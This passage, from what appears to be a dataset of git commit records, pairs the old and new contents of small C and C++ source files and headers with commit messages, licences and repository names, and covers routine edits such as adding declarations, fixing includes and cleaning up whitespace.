exists.\n","lang":"C","license":"apache-2.0","repos":"Blue-Rocket\/BRStyle,Blue-Rocket\/BRStyle,Blue-Rocket\/BRStyle,Blue-Rocket\/BRStyle"}
{"commit":"04d4f58eebf95b7c7f8a945b713e7c8bab75d6d5","old_file":"includes\/cl_list.h","new_file":"includes\/cl_list.h","old_contents":"","new_contents":"#ifndef _LIBADT_CL_LIST_H\n#define _LIBADT_CL_LIST_H\n\n#include <adt_commons.h>\n\n#include <list.h>\n\ntypedef list_root cl_list_root;\n\nstruct _list_node {\n\tlist_node *prev;\t\/\/ Pointer to prev list_node element.\n\tlist_node *next;\t\/\/ Pointer to next list_node element.\n\tvoid *data;\t\t\t\/\/ Pointer to the element added on the list.\n};\n\n\/* \n * Create a empty list structure and set a destroy function for its elements.\n * The destroy argument gives a way to free the entire structure when we\n * call dl_list_destroy. For malloc\/calloc data, free must be used. If data\n * is a struct with other members, a function designed to free its memory\n * must be provided. If the data is static or have another way to free its\n * memory, NULL must be set.\n * Complexity: O(1).\n *\/\ncl_list_root * cl_list_create(t_destroyfunc destroyfunc);\n\n\/*\n * Insert an element in the list after the current element indicated.\n * If *current is NULL, *data is appended on the head.\n * Complexity: O(1).\n *\/\nint cl_list_insert_el_next(cl_list_root *list, list_node *current, void *data);\n\n\/*\n * Insert an element in the list before the current element indicated.\n * If *current is NULL, *data is appended on the tail.\n * Complexity: O(1).\n *\/\nint cl_list_insert_el_prev(cl_list_root *list, list_node *current, void *data);\n\n\/*\n * Move an element after the newpos element indicated.\n * Complexity: O(1).\n *\/\nint cl_list_move_el_next(cl_list_root *list, list_node *current, list_node *newpos);\n\n\/*\n * Move an element before the newpos element indicated.\n * Complexity: O(1).\n *\/\nint cl_list_move_el_prev(cl_list_root *list, list_node *current, list_node *newpos);\n\n\/*\n * Change positions of the two elements on the list.\n * Complexity: O(1).\n *\/\nint cl_list_swap_el(cl_list_root *list, list_node *el1, list_node *el2);\n\n\/*\n * Remove the element in the head and save the respective data in **data.\n * Compĺexity: O(1).\n *\/\nvoid * cl_list_rem_el(cl_list_root *list);\n\n\/*\n * Destroy the list and its elements, if have any. If destroy function is provided,\n * it will be used.\n * Complexity: O(n).\n *\/\nvoid cl_list_destroy(cl_list_root *list);\n\n#endif\n","subject":"Add function declarations for Circular Lists.","message":"Add function declarations for Circular Lists.\n","lang":"C","license":"mit","repos":"vndmtrx\/libadt"}
{"commit":"0241963d4360407d1ab954f8a05e4d3bdf6a9799","old_file":"io\/block_channel.h","new_file":"io\/block_channel.h","old_contents":"#ifndef\tBLOCK_CHANNEL_H\n#define\tBLOCK_CHANNEL_H\n\nclass Action;\nclass Buffer;\n\nclass BlockChannel {\nprotected:\n\tBlockChannel(void)\n\t{ }\n\npublic:\n\tvirtual ~BlockChannel()\n\t{ }\n\n\tvirtual Action *close(EventCallback *) = 0;\n\tvirtual Action *read(off_t, EventCallback *) = 0;\n\tvirtual Action *write(off_t, Buffer *, EventCallback *) = 0;\n};\n\n#endif \/* !BLOCK_CHANNEL_H *\/\n","new_contents":"#ifndef\tBLOCK_CHANNEL_H\n#define\tBLOCK_CHANNEL_H\n\nclass Action;\nclass Buffer;\n\nclass BlockChannel {\nprotected:\n\tsize_t bsize_;\n\n\tBlockChannel(size_t bsize)\n\t: bsize_(bsize)\n\t{ }\n\npublic:\n\tvirtual ~BlockChannel()\n\t{ }\n\n\tvirtual Action *close(EventCallback *) = 0;\n\tvirtual Action *read(off_t, EventCallback *) = 0;\n\tvirtual Action *write(off_t, Buffer *, EventCallback *) = 0;\n};\n\n#endif \/* !BLOCK_CHANNEL_H *\/\n","subject":"Make block size a protected member of a block channel.","message":"Make block size a protected member of a block channel.\n\n\ngit-svn-id: 9e2532540f1574e817ce42f20b9d0fb64899e451@443 4068ffdb-0463-0410-8185-8cc71e3bd399\n","lang":"C","license":"bsd-2-clause","repos":"splbio\/wanproxy,diegows\/wanproxy,diegows\/wanproxy,splbio\/wanproxy,splbio\/wanproxy,diegows\/wanproxy"}
{"commit":"c8fb57c122aadfb83c8e9efa9904cc664aa4b786","old_file":"Include\/structseq.h","new_file":"Include\/structseq.h","old_contents":"\n\/* Tuple object interface *\/\n\n#ifndef Py_STRUCTSEQ_H\n#define Py_STRUCTSEQ_H\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n               \ntypedef struct PyStructSequence_Field {\n\tchar *name;\n\tchar *doc;\n} PyStructSequence_Field;\n\ntypedef struct PyStructSequence_Desc {\n\tchar *name;\n\tchar *doc;\n\tstruct PyStructSequence_Field *fields;\n\tint n_in_sequence;\n} PyStructSequence_Desc;\n\nextern char* PyStructSequence_UnnamedField;\n\nPyAPI_FUNC(void) PyStructSequence_InitType(PyTypeObject *type, \n\t\t\t\t\t\t PyStructSequence_Desc *desc);\n       \nPyAPI_FUNC(PyObject *) PyStructSequence_New(PyTypeObject* type);\n\ntypedef struct {\n\tPyObject_VAR_HEAD\n\tPyObject *ob_item[1];\n} PyStructSequence;\n\n\/* Macro, *only* to be used to fill in brand new objects *\/\n#define PyStructSequence_SET_ITEM(op, i, v) \\\n\t(((PyStructSequence *)(op))->ob_item[i] = v)\n\n#ifdef __cplusplus\n}\n#endif\n#endif \/* !Py_STRUCTSEQ_H *\/\n","new_contents":"\n\/* Tuple object interface *\/\n\n#ifndef Py_STRUCTSEQ_H\n#define Py_STRUCTSEQ_H\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef struct PyStructSequence_Field {\n\tchar *name;\n\tchar *doc;\n} PyStructSequence_Field;\n\ntypedef struct PyStructSequence_Desc {\n\tchar *name;\n\tchar *doc;\n\tstruct PyStructSequence_Field *fields;\n\tint n_in_sequence;\n} PyStructSequence_Desc;\n\nextern char* PyStructSequence_UnnamedField;\n\nPyAPI_FUNC(void) PyStructSequence_InitType(PyTypeObject *type,\n\t\t\t\t\t   PyStructSequence_Desc *desc);\n\nPyAPI_FUNC(PyObject *) PyStructSequence_New(PyTypeObject* type);\n\ntypedef struct {\n\tPyObject_VAR_HEAD\n\tPyObject *ob_item[1];\n} PyStructSequence;\n\n\/* Macro, *only* to be used to fill in brand new objects *\/\n#define PyStructSequence_SET_ITEM(op, i, v) \\\n\t(((PyStructSequence *)(op))->ob_item[i] = v)\n\n#ifdef __cplusplus\n}\n#endif\n#endif \/* !Py_STRUCTSEQ_H *\/\n","subject":"Clean up some whitespace to be consistent with Python's C style.","message":"Clean up some whitespace to be consistent with Python's C style.\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"7d8517f3eaac039608aebd07cddb04fdd5f2b210","old_file":"Overline\/Over\/NSURL\/NSURL+Directories.h","new_file":"Overline\/Over\/NSURL\/NSURL+Directories.h","old_contents":"","new_contents":"#import <Foundation\/Foundation.h>\n\n@interface NSURL (Directories)\n\n\n\/** Returns an NSURL representing the first path found matching the specified constants or nil if none *\/\n+ (NSURL *)URLForDirectory:(NSSearchPathDirectory)directoryConstant domainMask:(NSSearchPathDomainMask)domainMask;\n\n\/** Returns the application support directory with the app's bundle id appended.  As recommended in the Fil System Programming Guide *\/\n+ (NSURL *)URLForApplicationSupportDataDirectory;\n\n\/** Append a subfolder\/file path onto the app data directory *\/\n+ (NSURL *)URLForApplicationSupportWithAppendedPath:(NSString *)pathToAppend;\n\n\/** Returns the user directory *\/\n+ (NSURL *)URLForUserDirectory;\n\n\/** Append a subfolder\/file path onto the user directory *\/\n+ (NSURL *)URLForUserDirectoryWithAppendedPath:(NSString *)pathToAppend;\n\n\n\/** Returns the user's document directory *\/\n+ (NSURL *)URLForDocumentDirectory;\n\n\/** Append a subfolder\/file path onto the user's document directory *\/\n+ (NSURL *)URLForDocumentDirectoryWithAppendedPath:(NSString *)pathToAppend;\n\n\n@end\n","subject":"Add shortcuts to create NSURL's for various app folders","message":"Add shortcuts to create NSURL's for various app folders","lang":"C","license":"mit","repos":"yaakaito\/Overline,yaakaito\/Overline"}
{"commit":"d2c55bd89e01ed962dfe265f790b1d50394b90fe","old_file":"src\/event_log.c","new_file":"src\/event_log.c","old_contents":"","new_contents":"\/*\n * Copyright (c) 2016, Natacha Porté\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\/\n\n#include <pebble.h>\n\n#include \"global.h\"\n\nstruct __attribute__((__packed__)) entry {\n\ttime_t time;\n\tuint8_t id;\n};\n\n#define PAGE_LENGTH (PERSIST_DATA_MAX_LENGTH \/ sizeof(struct entry))\n\nstruct entry page[PAGE_LENGTH];\nuint16_t next_index = 0;\n\n\nvoid\nrecord_event(uint8_t id) {\n\tif (!id) return;\n\tpage[next_index].time = time(0);\n\tpage[next_index].id = id;\n\tnext_index = (next_index + 1) % PAGE_LENGTH;\n}\n","subject":"Add a skeleton for a unit to manipulate and display the event log","message":"Add a skeleton for a unit to manipulate and display the event log","lang":"C","license":"isc","repos":"faelys\/life-log,faelys\/life-log,faelys\/life-log,faelys\/life-log"}
{"commit":"ef17abb61bd0234c452f140815465e6e9d438def","old_file":"c\/base\/stream_of_byte.h","new_file":"c\/base\/stream_of_byte.h","old_contents":"#ifndef INCLUDE_STREAM_OF_BYTE_H\n#define INCLUDE_STREAM_OF_BYTE_H\n\n#include \"varray.h\"\n#include \"utils.h\"\n\ntypedef unsigned char byte;\n\nstruct byte_stream {\n\tvoid(*next)(struct byte_stream *self, byte v);\n\tvoid(*error)(struct byte_stream *self, byte e);\n\tvoid(*complete)(struct byte_stream *self);\n\tvarray *listeners;\n};\n\ntypedef struct byte_stream stream_of_byte;\n\nstream_of_byte* stream_of_byte_create();\nstream_of_byte* stream_of_byte_init();\nstream_of_byte* stream_add_listener(stream_of_byte *stream, stream_of_byte *listener);\n\n#endif","new_contents":"#ifndef INCLUDE_STREAM_OF_BYTE_H\n#define INCLUDE_STREAM_OF_BYTE_H\n\n#include \"varray.h\"\n#include \"utils.h\"\n\ntypedef uint8_t byte;\n\nstruct byte_stream {\n\tvoid(*next)(struct byte_stream *self, byte v);\n\tvoid(*error)(struct byte_stream *self, byte e);\n\tvoid(*complete)(struct byte_stream *self);\n\tvarray *listeners;\n};\n\ntypedef struct byte_stream stream_of_byte;\n\nstream_of_byte* stream_of_byte_create();\nstream_of_byte* stream_of_byte_init();\nstream_of_byte* stream_add_listener(stream_of_byte *stream, stream_of_byte *listener);\n\n#endif","subject":"Update typedef of byte to standard type","message":"Update typedef of byte to standard type\n","lang":"C","license":"mit","repos":"artfuldev\/RIoT"}
{"commit":"678cd1062438d4966e6d4363ac277207dfa6e013","old_file":"src\/act_helpers.h","new_file":"src\/act_helpers.h","old_contents":"","new_contents":"#pragma once\n\n\/\/ Annoying C type helpers.\n\/\/\n\/\/ C headers sometimes contain struct ending with a flexible array\n\/\/ member, which is not supported in C++. An example of such a type is\n\/\/ file_handle from fcntl.h (man name_to_handle_at)\n\/\/\n\/\/ Here are some helper macros helping to ensure if the C++\n\/\/ counterpart has members of the same type and offset.\n\n#include <type_traits>\n\nnamespace act_helpers\n{\n\ntemplate <typename T, typename M> M get_member_type(M T:: *);\n\n}\n\n#define ACTH_SAME_SIZE(cxxtype, ctype, extra_type) \\\n  (sizeof(cxxtype) == sizeof(ctype) + sizeof(extra_type))\n#define ACTH_GET_TYPE_OF(mem) \\\n  decltype(act_helpers::get_member_type(&mem))\n#define ACTH_SAME_OFFSET(cxxtype, cxxmem, ctype, cmem) \\\n  (std::is_standard_layout<cxxtype>::value && \\\n   std::is_standard_layout<ctype>::value && \\\n   (offsetof(cxxtype, cxxmem) == offsetof(ctype, cmem)))\n#define ACTH_SAME_TYPE(cxxtype, cxxmem, ctype, cmem) \\\n  std::is_same<ACTH_GET_TYPE_OF(cxxtype :: cxxmem), ACTH_GET_TYPE_OF(ctype :: cmem)>::value\n\n#define ACTH_ASSERT_SAME_SIZE(cxxtype, ctype, extra_type) \\\n  static_assert(ACTH_SAME_SIZE(cxxtype, ctype, extra_type), \\\n                \"assumption that is broken: \" #cxxtype \" == \" #ctype \" + \" # extra_type)\n#define ACTH_ASSERT_SAME_OFFSET(cxxtype, cxxmem, ctype, cmem) \\\n  static_assert(ACTH_SAME_OFFSET(cxxtype, cxxmem, ctype, cmem), \\\n                \"assumption that is broken: \" #cxxtype \"::\" #cxxmem \" is at the same offset as \" #ctype \"::\" #cmem)\n#define ACTH_ASSERT_SAME_TYPE(cxxtype, cxxmem, ctype, cmem) \\\n  static_assert(ACTH_SAME_TYPE(cxxtype, cxxmem, ctype, cmem), \\\n                \"assumption that is broken: \" #cxxtype \"::\" #cxxmem \" has the same type as \" #ctype \"::\" #cmem)\n#define ACTH_ASSERT_SAME_MEMBER(cxxtype, cxxmem, ctype, cmem) \\\n  ACTH_ASSERT_SAME_TYPE(cxxtype, cxxmem, ctype, cmem); \\\n  ACTH_ASSERT_SAME_OFFSET(cxxtype, cxxmem, ctype, cmem)\n","subject":"Add helper macros for wrapping annoying C types","message":"Add helper macros for wrapping annoying C types\n\nWe will wrap the file_handle struct in the next commit. The struct has\na flexible array member, which is not supported by C++. Compiler may\ncomplain about using it when allocated on stack, even indirectly as a\nmember of a struct. I'm not sure if using this kind of types is even a\ndefined behavior…\n","lang":"C","license":"apache-2.0","repos":"iovisor\/bpftrace,iovisor\/bpftrace,iovisor\/bpftrace,iovisor\/bpftrace"}
{"commit":"8b1e63d9eb92c7d8c4de601a7e12cb44f434ec74","old_file":"tests\/regression\/37-congruence\/07-refinements-o.c","new_file":"tests\/regression\/37-congruence\/07-refinements-o.c","old_contents":"\/\/ PARAM: --enable ana.int.congruence\nint main() {\n    int top;\n    int i = 0;\n    if(top % 17 == 3) {\n        assert(top%17 ==3);\n        if(top %17 != 3) {\n            i = 12;\n        } else {\n\n        }\n    }\n    assert(i ==0);\n\n    if(top % 17 == 0) {\n        assert(top%17 == 0);\n        if(top %17 != 0) {\n            i = 12;\n        }\n    }\n    assert(i == 0);\n\n    if(top % 3 == 17) {\n        assert(top%17 == 3); \/\/UNKNOWN!\n    }\n\n}\n","new_contents":"\/\/ PARAM: --enable ana.int.congruence\nvoid unsignedCase() {\n    unsigned int top;\n    unsigned int i = 0;\n    if(top % 17 == 3) {\n        assert(top%17 ==3);\n        if(top %17 != 3) {\n            i = 12;\n        } else {\n\n        }\n    }\n    assert(i ==0);\n\n    if(top % 17 == 0) {\n        assert(top%17 == 0);\n        if(top %17 != 0) {\n            i = 12;\n        }\n    }\n    assert(i == 0);\n\n    if(top % 3 == 17) {\n        assert(top%17 == 3); \/\/UNKNOWN!\n    }\n}\n\nint main() {\n    int top;\n    int i = 0;\n    if(top % 17 == 3) {\n        assert(top%17 ==3);\n        if(top %17 != 3) {\n            i = 12;\n        } else {\n\n        }\n    }\n    assert(i ==0);\n\n    if(top % 17 == 0) {\n        assert(top%17 == 0);\n        if(top %17 != 0) {\n            i = 12;\n        }\n    }\n    assert(i == 0);\n\n    if(top % 3 == 17) {\n        assert(top%17 == 3); \/\/UNKNOWN!\n    }\n\n    unsignedCase();\n}\n","subject":"Add test cases for unsigned","message":"Add test cases for unsigned\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"fb6f565657a21244a0d89aa1594e268b2e344c58","old_file":"list.h","new_file":"list.h","old_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\n\n#endif","subject":"Add List creation function declaration","message":"Add List creation function declaration\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"2055caf822c9a52c01501585f58efd32b8ed2d1c","old_file":"main.c","new_file":"main.c","old_contents":"\/* shuffle files in a directory by giving them random names, optionally tacking\n   a global file extension to the end *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <dirent.h>\n#include <string.h>\n\nchar *extension = '\\0';\nDIR *dir;\nstruct dirent *fileInDir;\nint fileCount = 0;\n\nint main(int argc, char **argv){\n    int exponentialchars = 1;\n\n    if (argc < 2){\n        fprintf(stderr, \"usage: %s <directory> <optional extension>\\n\",\n            argv[0]);\n        exit(1);\n    }\n    if (argv[2] != NULL){\n        extension = argv[2];\n    }\n    dir = opendir(argv[1]);\n    if (dir != NULL){\n        while ((fileInDir = readdir(dir)) != NULL){\n            fileCount++;\n        }\n    } else {\n        perror(argv[1]);\n        exit(2);\n    }\n    while (26**exponentialchars < fileCount){\n        exponentialchars++;\n    }\n    rewinddir(dir);\n    while ((fileInDir = readdir(dir)) != NULL){\n        \n    }\n}\n","new_contents":"\/* shuffle files in a directory by giving them random names, optionally tacking\n   a global file extension to the end *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <dirent.h>\n#include <string.h>\n\nint main(int argc, char **argv){\n    char *extension = '\\0';\n    DIR *dir = opendir(argv[1]);\n    DIR *dir_nameclobber = opendir(argv[1]);\n    struct dirent *fileInDir;\n    struct dirent *fileInDir_nameclobber;\n    int fileCount = 0;\n    char *newName;\n\n    if (argc < 2){\n        fprintf(stderr, \"usage: %s <directory> <optional extension>\\n\",\n            argv[0]);\n        exit(1);\n    }\n    if (argv[2] != NULL){\n        extension = argv[2];\n    }\n    if (dir != NULL){\n        while ((fileInDir = readdir(dir)) != NULL){\n            newName = tempnam(argv[1], NULL);\n            while ((fileInDir_nameclobber = readdir(dir_nameclobber)) != NULL){\n                \n            }\n        }\n    } else {\n        perror(argv[1])\n        exit(2)\n    }\n}\n","subject":"Remove a bunch of the randomization stuff; the program now uses tempnam(3).","message":"Remove a bunch of the randomization stuff; the program now uses tempnam(3).\n","lang":"C","license":"mit","repos":"LordCreepity\/dirshuf"}
{"commit":"24e609bda53ee838eb1f2f6eef82fc04deb7db13","old_file":"lib\/profile\/InstrProfilingNameVar.c","new_file":"lib\/profile\/InstrProfilingNameVar.c","old_contents":"\/\/===- InstrProfilingNameVar.c - profile name variable setup --------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"InstrProfiling.h\"\n\n\/* char __llvm_profile_filename[1]\n *\n * The runtime should only provide its own definition of this symbol when the\n * user has not specified one. Set this up by moving the runtime's copy of this\n * symbol to an object file within the archive.\n *\/\nCOMPILER_RT_WEAK char INSTR_PROF_PROFILE_NAME_VAR[1] = {0};\n","new_contents":"\/*===- InstrProfilingNameVar.c - profile name variable setup  -------------===*\\\n|*\n|*                     The LLVM Compiler Infrastructure\n|*\n|* This file is distributed under the University of Illinois Open Source\n|* License. See LICENSE.TXT for details.\n|*\n\\*===----------------------------------------------------------------------===*\/\n\n#include \"InstrProfiling.h\"\n\n\/* char __llvm_profile_filename[1]\n *\n * The runtime should only provide its own definition of this symbol when the\n * user has not specified one. Set this up by moving the runtime's copy of this\n * symbol to an object file within the archive.\n *\/\nCOMPILER_RT_WEAK char INSTR_PROF_PROFILE_NAME_VAR[1] = {0};\n","subject":"Fix warning about C++ style comment in C file","message":"[profile] Fix warning about C++ style comment in C file\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@311496 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"f8abb3519c9849ee37d4141869a8b38b2a54e295","old_file":"searchlib\/src\/vespa\/searchlib\/tensor\/tensor_buffer_type_mapper.h","new_file":"searchlib\/src\/vespa\/searchlib\/tensor\/tensor_buffer_type_mapper.h","old_contents":"\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <cstdint>\n#include <vector>\n\nnamespace search::tensor {\n\nclass LargeSubspacesBufferType;\nclass SmallSubspacesBufferType;\nclass TensorBufferOperations;\n\n\/*\n * This class provides mapping between type ids and array sizes needed for\n * storing a tensor.\n *\/\nclass TensorBufferTypeMapper\n{\n    std::vector<size_t> _array_sizes;\n    TensorBufferOperations* _ops;\npublic:\n    using SmallBufferType = SmallSubspacesBufferType;\n    using LargeBufferType = LargeSubspacesBufferType;\n\n    TensorBufferTypeMapper();\n    TensorBufferTypeMapper(uint32_t max_small_subspaces_type_id, TensorBufferOperations* ops);\n    ~TensorBufferTypeMapper();\n\n    uint32_t get_type_id(size_t array_size) const;\n    size_t get_array_size(uint32_t type_id) const;\n    TensorBufferOperations& get_tensor_buffer_operations() const noexcept { return *_ops; }\n};\n\n}\n","new_contents":"\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <cstddef>\n#include <cstdint>\n#include <vector>\n\nnamespace search::tensor {\n\nclass LargeSubspacesBufferType;\nclass SmallSubspacesBufferType;\nclass TensorBufferOperations;\n\n\/*\n * This class provides mapping between type ids and array sizes needed for\n * storing a tensor.\n *\/\nclass TensorBufferTypeMapper\n{\n    std::vector<size_t> _array_sizes;\n    TensorBufferOperations* _ops;\npublic:\n    using SmallBufferType = SmallSubspacesBufferType;\n    using LargeBufferType = LargeSubspacesBufferType;\n\n    TensorBufferTypeMapper();\n    TensorBufferTypeMapper(uint32_t max_small_subspaces_type_id, TensorBufferOperations* ops);\n    ~TensorBufferTypeMapper();\n\n    uint32_t get_type_id(size_t array_size) const;\n    size_t get_array_size(uint32_t type_id) const;\n    TensorBufferOperations& get_tensor_buffer_operations() const noexcept { return *_ops; }\n};\n\n}\n","subject":"Include cstddef to define size_t","message":"Include cstddef to define size_t\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"e4e20dbf28845318e294c100269f27b7d6d49500","old_file":"cpp\/defines.h","new_file":"cpp\/defines.h","old_contents":"\n\/* Copyright (c) 2014 Stefan.Eilemann@epfl.ch *\/\n\n#ifndef @UPPER_PROJECT_NAME@_DEFINES_H\n#define @UPPER_PROJECT_NAME@_DEFINES_H\n\n#ifdef __APPLE__\n#  include <@PROJECT_INCLUDE_NAME@\/definesDarwin.h>\n#endif\n#ifdef __linux\n#  include <@PROJECT_INCLUDE_NAME@\/definesLinux.h>\n#endif\n#ifdef _WIN32 \/\/_MSC_VER\n#  include <@PROJECT_INCLUDE_NAME@\/definesWin32.h>\n#endif\n\n#endif\n","new_contents":"\n\/* Copyright (c) 2014 Stefan.Eilemann@epfl.ch *\/\n\n#ifndef @UPPER_PROJECT_NAME@_DEFINES_H\n#define @UPPER_PROJECT_NAME@_DEFINES_H\n\n#ifdef __APPLE__\n#  include <@PROJECT_INCLUDE_NAME@\/definesDarwin.h>\n#endif\n#ifdef __linux__\n#  include <@PROJECT_INCLUDE_NAME@\/definesLinux.h>\n#endif\n#ifdef _WIN32 \/\/_MSC_VER\n#  include <@PROJECT_INCLUDE_NAME@\/definesWin32.h>\n#endif\n\n#endif\n","subject":"Use posix-compliant __linux__ (__linux not defined on BG\/Q)","message":"Use posix-compliant __linux__ (__linux not defined on BG\/Q)\n","lang":"C","license":"bsd-3-clause","repos":"shuaibarshad\/KAUST-CMake,jafyvilla\/CMake,shurikasa\/CMake,jafyvilla\/CMake,ptoharia\/CMake,shuaibarshad\/KAUST-CMake,jafyvilla\/CMake,ptoharia\/CMake,biddisco\/CMake,shurikasa\/CMake,shuaibarshad\/KAUST-CMake,ptoharia\/CMake,biddisco\/CMake,shurikasa\/CMake,ptoharia\/CMake,biddisco\/CMake,shurikasa\/CMake,shuaibarshad\/KAUST-CMake,jafyvilla\/CMake,biddisco\/CMake"}
{"commit":"2bf52404c9c79bc948443188305a5f74951c68b0","old_file":"include\/zephyr\/CExport.h","new_file":"include\/zephyr\/CExport.h","old_contents":"","new_contents":"#ifndef ZEPHYR_CEXPORT_H\n#define ZEPHYR_CEXPORT_H\n\n#ifdef __cplusplus\n#define Z_NS_START(n) namespace n {\n#define Z_NS_END }\n#else\n#define Z_NS_START(n)\n#define Z_NS_END\n#endif\n\n#ifdef __cplusplus\n#define Z_ENUM_CLASS(ns, n) enum class n\n#else\n#define Z_ENUM_CLASS(ns, n) enum ns ## _ ## n\n#endif\n\n#ifdef __cplusplus\n#define Z_ENUM(ns, n) enum n\n#else\n#define Z_ENUM(ns, n) enum ns ## _ ## n\n#endif\n\n#ifdef __cplusplus\n#define Z_STRUCT(ns, n) struct n\n#else\n#define Z_STRUCT(ns, n) struct ns ## _ ## n\n#endif\n\n#endif\n","subject":"Add header to support C++ headers exported to C","message":"Add header to support C++ headers exported to C\n\nNamespace types need to be disambiguated, create a few macros to do this\n","lang":"C","license":"mit","repos":"DeonPoncini\/zephyr"}
{"commit":"575a6f6f8a203679da39a60b428cd20b1166c109","old_file":"ldso\/include\/unsecvars.h","new_file":"ldso\/include\/unsecvars.h","old_contents":"\/* \n * Environment variable to be removed for SUID programs.  The names are all\n * stuffed in a single string which means they have to be terminated with a\n * '\\0' explicitly.\n *\/\n\n#define UNSECURE_ENVVARS \\\n\t\"LD_PRELOAD\\0\" \\\n\t\"LD_LIBRARY_PATH\\0\" \\\n\t\"LD_DEBUG\\0\" \\\n\t\"LD_DEBUG_OUTPUT\\0\" \\\n\t\"LD_TRACE_LOADED_OBJECTS\\0\" \\\n\t\"TMPDIR\\0\"\n\n\/* \n * LD_TRACE_LOADED_OBJECTS is not in glibc-2.3.5's unsecvars.h\n * though used by ldd\n *\n * These environment variables are defined by glibc but ignored in\n * uClibc, but may very well have an equivalent in uClibc.\n *\n * LD_ORIGIN_PATH, LD_PROFILE, LD_USE_LOAD_BIAS, LD_DYNAMIC_WEAK, LD_SHOW_AUXV,\n * GCONV_PATH, GETCONF_DIR, HOSTALIASES, LOCALDOMAIN, LOCPATH, MALLOC_TRACE,\n * NLSPATH, RESOLV_HOST_CONF, RES_OPTIONS, TMPDIR, TZDIR\n *\/\n","new_contents":"\/* \n * Environment variable to be removed for SUID programs.  The names are all\n * stuffed in a single string which means they have to be terminated with a\n * '\\0' explicitly.\n *\/\n\n#define UNSECURE_ENVVARS \\\n\t\"LD_PRELOAD\\0\" \\\n\t\"LD_LIBRARY_PATH\\0\" \\\n\t\"LD_DEBUG\\0\" \\\n\t\"LD_DEBUG_OUTPUT\\0\" \\\n\t\"LD_TRACE_LOADED_OBJECTS\\0\" \\\n\t\"TMPDIR\\0\"\n\n\/* \n * LD_TRACE_LOADED_OBJECTS is not in glibc-2.3.5's unsecvars.h\n * though used by ldd\n *\n * These environment variables are defined by glibc but ignored in\n * uClibc, but may very well have an equivalent in uClibc.\n *\n * LD_ORIGIN_PATH, LD_PROFILE, LD_USE_LOAD_BIAS, LD_DYNAMIC_WEAK, LD_SHOW_AUXV,\n * GCONV_PATH, GETCONF_DIR, HOSTALIASES, LOCALDOMAIN, LOCPATH, MALLOC_TRACE,\n * NLSPATH, RESOLV_HOST_CONF, RES_OPTIONS, TZDIR\n *\/\n","subject":"Remove TMPDIR from glibc's commented list","message":"Remove TMPDIR from glibc's commented list\n","lang":"C","license":"lgpl-2.1","repos":"joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc"}
{"commit":"9e4acaef861510974200e2744263409dcecda4b4","old_file":"lens\/lens.h","new_file":"lens\/lens.h","old_contents":"#pragma once\n\n#include <string>\n#include \"random.h\"\n#include \"ray.h\"\n#include \"vector.h\"\n\nnamespace amber {\nnamespace lens {\n\ntemplate <typename RealType>\nstruct Lens {\n  using real_type    = RealType;\n\n  using ray_type     = Ray<real_type>;\n  using vector3_type = Vector3<real_type>;\n\n  static constexpr real_type kFocalLength = 0.050;\n\n  virtual ~Lens() {}\n\n  virtual std::string to_string() const;\n  virtual ray_type sample_ray(const vector3_type&, Random&) const;\n};\n\n}\n}\n","new_contents":"#pragma once\n\n#include <string>\n#include \"random.h\"\n#include \"ray.h\"\n#include \"vector.h\"\n\nnamespace amber {\nnamespace lens {\n\ntemplate <typename RealType>\nstruct Lens {\n  using real_type    = RealType;\n\n  using ray_type     = Ray<real_type>;\n  using vector3_type = Vector3<real_type>;\n\n  static constexpr real_type kFocalLength = 0.050;\n\n  virtual ~Lens() {}\n\n  virtual std::string to_string() const = 0;\n  virtual ray_type sample_ray(const vector3_type&, Random&) const = 0;\n};\n\n}\n}\n","subject":"Fix a trivial bug that causes a compilation error with clang++ 